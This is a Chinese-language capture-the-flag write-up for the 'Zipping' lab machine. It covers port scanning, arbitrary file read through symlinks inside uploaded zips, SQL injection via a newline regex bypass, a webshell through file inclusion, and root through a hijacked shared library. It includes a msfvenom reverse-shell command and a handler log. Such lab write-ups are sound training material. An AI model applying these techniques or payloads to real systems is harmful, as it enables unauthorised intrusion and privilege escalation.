随着互联网的普及、人工智能的应用,越来越多的问题能很快得到答案。那么,我们的问题是否会越来越少?

端口扫描

kali@kali ~/D/H/M/Zipping> nmap -Pn -p- -n --min-rate 3000 -T4 --open 10.129.229.87
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 22:46 CST
Nmap scan report for 10.129.229.87
Host is up (0.33s latency).
Not shown: 65507 filtered tcp ports (no-response), 26 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 44.51 seconds
kali@kali ~/D/H/M/Zipping> sudo nmap -sU -Pn -p- -n --min-rate 3000 -T4 --open 10.129.229.87
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 22:48 CST
Nmap scan report for 10.129.229.87
Host is up.
All 65535 scanned ports on 10.129.229.87 are in ignored states.
Not shown: 65535 open|filtered udp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 44.62 seconds

开放了22和80端口。

80 http

80端口对应一个出售手表的网站,与用户交互的地方主要是:

  1. URI为/upload.php,对应于简历上传界面,要求文件是包含PDF文件的压缩包,上传之后会自动解压缩,返回文件URI路径是/uploads/35690200b95e9e557064896752f51995/Zipping%20_%20Watch%20store.pdf
  2. URI为/shop/,对应购买手表的网站,查看商品详情链接URI为/shop/index.php?page=product&id=3,很有可能存在SQL注入。

使用SQLmap简单尝试几个URL都没结果之后,开始尝试利用第一个压缩包文件上传点。

将pdf文件后缀名改为php,再进行压缩、上传,提示The unzipped file must have a .pdf extension.,显示系统存在相关校验。

压缩包攻击面

压缩包文件的常见攻击方式有以下几种:

  1. ZipSlip,即解压缩的时候文件名中包含”../“导致目录穿越,可以实现服务器文件的写入/覆盖;
  2. ZipBomb,主要针对客户端、安全厂家沙箱的攻击场景,文件一般有很高的压缩比,在解压文件时释放很大的空间。

在题目环境下,这两种攻击方式都没有特别大意义:

  • ZipSlip无法控制文件名,哪怕真的可以实现任意路径的写入,写入PDF文件亦无意义;
  • ZipBomb对拿到服务器权限没有任何帮助。

那么,正常的文件解压可以带来哪些攻击面呢?

Linux操作系统下存在一种特殊的文件类型:软链接文件,访问软连接文件等同于访问真实的文件,在靶场环境里面可以达到任意文件读取的效果。

kali@kali ~/D/H/M/Zipping> ln -sf /etc/hosts passwd.pdf
kali@kali ~/D/H/M/Zipping> head -n 5 passwd.pdf
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

任意文件读取

创建软链接文件,并进行压缩(使用--symlinks避免压缩存储真实的文件)。

kali@kali ~/D/H/M/Zipping> ln -sf /etc/passwd etc-passwd.pdf
kali@kali ~/D/H/M/Zipping> zip --symlinks etc-passwd.zip etc-passwd.pdf
adding: etc-passwd.pdf (stored 0%)

上传之后访问PDF文件链接,可以查看到/etc/passwd文件内容。

为了批量读文件,需要编写自动化脚本实现文件读取动作。

SQL注入

通过文件读取,可以成功读取到URI为/shop/index.php?page=product&id=1页面对应的源文件:/var/www/html/shop/product.php

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {
$id = $_GET['id'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {
header('Location: index.php');
} else {
// Prepare statement and execute, but does not prevent SQL injection
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");
$stmt->execute();
// Fetch the product from the database and return the result as an Array
$product = $stmt->fetch(PDO::FETCH_ASSOC);
// Check if the product exists (array is not empty)
if (!$product) {
// Simple error to display if the id for the product doesn't exists (array is empty)
exit('Product does not exist!');
}
}
} else {
// Simple error to display if the id wasn't specified
exit('No ID provided!');
}
?>

代码注释里写明了虽然使用了预处理语句,但是直接拼接变量,因此也不能防止SQL注入。

过滤用户输入的正则表达式看起来很复杂,在Regex101上调试,发现可以使用换行符进行绕过。
手工注入效果如下:

完全手工注入不显示,需要使用SQLmap来自动化注入,一般来说对于SQLmap默认参数不支持的注入页面,可以采用:

  1. 搭建中转页面,人工将参数转化之后发给服务器,获得的结果再返回给SQLmap
  2. 调整SQLmap参数,使其能识别到注入点
  3. 手工编写自动义tamper脚本

PS: 后面证明针对Zipping这个靶机上面步骤完全没必要🤣,但我仍十分好奇、也很想实现上面这些步骤

本地文件包含

单单依靠SQL注入查询信息无法实现getshell,仍需要依靠的文件包含来实现:

<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

使用outfile写入phpinfo文件,然后使用本地文件包含来利用这个文件:

getshell

使用outfile写入shell文件,然后使用本地文件包含来利用这个文件:
注:这里没有使用常规的GET/POST参数(这两个参数在文件包含过程中可能会有问题),而是使用了UserAgent这个字段,算是一个习惯。

此时权限是rektsu

from rektsu to root

生成公私钥对,然后将公钥内容写入~rektsu/.ssh/authorized_keys文件,可以使用私钥登录服务器。

kali@kali ~/D/H/M/Zipping> ssh rektsu@10.129.165.180 -i rektsu
The authenticity of host '10.129.165.180 (10.129.165.180)' can't be established.
ED25519 key fingerprint is SHA256:neBkvGOhG23jqZ9Zxfrq+YBNDztKnhVlR+R8Edop1Lo.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:16: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.165.180' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.10 (GNU/Linux 5.19.0-46-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Sep 5 14:24:24 2023 from 10.10.14.40
rektsu@zipping:~$ ls
user.txt

用户可以执行/usr/bin/stock文件:

rektsu@zipping:~$ sudo -l
Matching Defaults entries for rektsu on zipping:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User rektsu may run the following commands on zipping:
(ALL) NOPASSWD: /usr/bin/stock

反编译之后可以看到代码会加载dll文件:

local_e8 = L'\x0c040967';
local_e0 = L'\x1c121f0a';
local_d8 = L'\x1d000705';
local_d0 = 0x4f19043c0b0f0602;
local_c8 = 0x151a;
local_f0 = 0x657a69616b6148;
XOR(&local_e8,0x22,&local_f0,8);
local_28 = dlopen(&local_e8,1);
local_2c = 0;

使用strace分析加载过程,可以发现调用了/home/rektsu/.config/libcounter.so文件:

write(1, "Enter the password: ", 20Enter the password: )    = 20
read(0, St0ckM4nager
"St0ckM4nager\n", 1024) = 13
openat(AT_FDCWD, "/home/rektsu/.config/libcounter.so", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
write(1, "\n================== Menu ======="..., 44
================== Menu ==================
printf "St0ckM4nager\n1\n2\n1\n1\n1\n1\n56\n1\n3\n"|sudo /usr/bin/stock

printf "St0ckM4nager\n1\n2\n1\n1\n1\n1\n56\n1\n3\n"|sudo LD_PRELOAD="/home/rektsu/.config/libcounter.so" /usr/bin/stock


rektsu@zipping:~$ printf "St0ckM4nager\n1\n2\n1\n1\n1\n1\n56\n1\n3\n"|sudo LD_PRELOAD="/home/rektsu/.config/libcounter.so" /usr/bin/stock
sudo: sorry, you are not allowed to set the following environment variables: LD_PRELOAD

查看反汇编代码时我有一个疑问🤔,代码里面只有dlopen(&local_e8,1),没有实际调用so文件里的某个函数,这样子也能触发恶意so里的函数吗?还有就是第二个参数值1究竟是什么意思?

我在网上搜索到一篇关于劫持共享库文件的利用文章,Linux Post Exploitation 10.2

使用里面说明步骤,可以成功拿到root权限:

使用msfvenom生成so文件:

kali@kali ~/D/H/M/Zipping> msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=10.10.16.21 LPORT=4444 -f elf-so -o libcounter.so.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: libcounter.so.so

msfconsole监听端口:

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started reverse TCP handler on 10.10.16.21:4444
[*] Command shell session 1 opened (10.10.16.21:4444 -> 10.129.197.170:59916) at 2024-07-16 22:57:12 +0800

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

whoami
root

自问自答

dlopen(&local_e8,1)的第二参数

值在头文件中定义,值为1时对应RTLD_LAZY

Perform lazy binding. Resolve symbols only as the code that references them is executed. If the symbol is never referenced, then it is never resolved. (Lazy binding is performed only for function references; references to variables are always immediately bound when the shared object is loaded.) Since glibc 2.1.1, this flag is overridden by the effect of the LD_BIND_NOW environment variable.

链接是/usr/include/bits/dlfcn.h

/* The MODE argument to `dlopen' contains one of the following: */
#define RTLD_LAZY 0x00001 /* Lazy function call binding. */
#define RTLD_NOW 0x00002 /* Immediate function call binding. */
#define RTLD_BINDING_MASK 0x3 /* Mask of binding time value. */
#define RTLD_NOLOAD 0x00004 /* Do not load the object. */
#define RTLD_DEEPBIND 0x00008 /* Use deep binding. */

应用里面只是dlopen、不调用so文件里具体函数,是否可以进行利用?

对msfvenom生成的so文件进行反编译,发现so文件只有一个入口函数,而且入口函数就是shellcode。

而使用gcc preload.c -o preload.so -fPIC -shared -ldl命令编译的so文件,入口函数并不是代码里定义的函数:

那么,可以手工修改一个so的入口函数吗?答案是可以的。参考资料如下:

void __attribute__ ((constructor)) my_init(void);
void __attribute__ ((destructor)) my_fini(void);

这里面意思是说,Constructor 流程会在dlopen函数返回之前就执行,因此哪怕后面不调用也会执行。

按照说明编写如下代码:

#include <stdio.h>
//compile into a so: gcc preload.c -o preload.so -fPIC -shared -ldl

void __attribute__ ((constructor)) my_init(void);

void my_init() {
printf("Init part: I love Unicorns");
}

int _init_proc() {
printf("I love Unicorns");
return 0;
}

实际运行发现确实执行了:

但在IDA里看似乎和我前面理解.init的作用不一样,可能还需要对so文件结构进一步了解。

搜索过程中都指向了下面这个手册,是一个很好的资源:

Program Library HOWTO
David A. Wheeler
version 1.20, 11 April 2003

This HOWTO for programmers discusses how to create and use program libraries on Linux. This includes static libraries, shared libraries, and dynamically loaded libraries.

sqlmap

关于手动注入识别出注入点,但是sqlmap直接扫描识别不到的情况得细致分析,可能会有单独的一篇文章。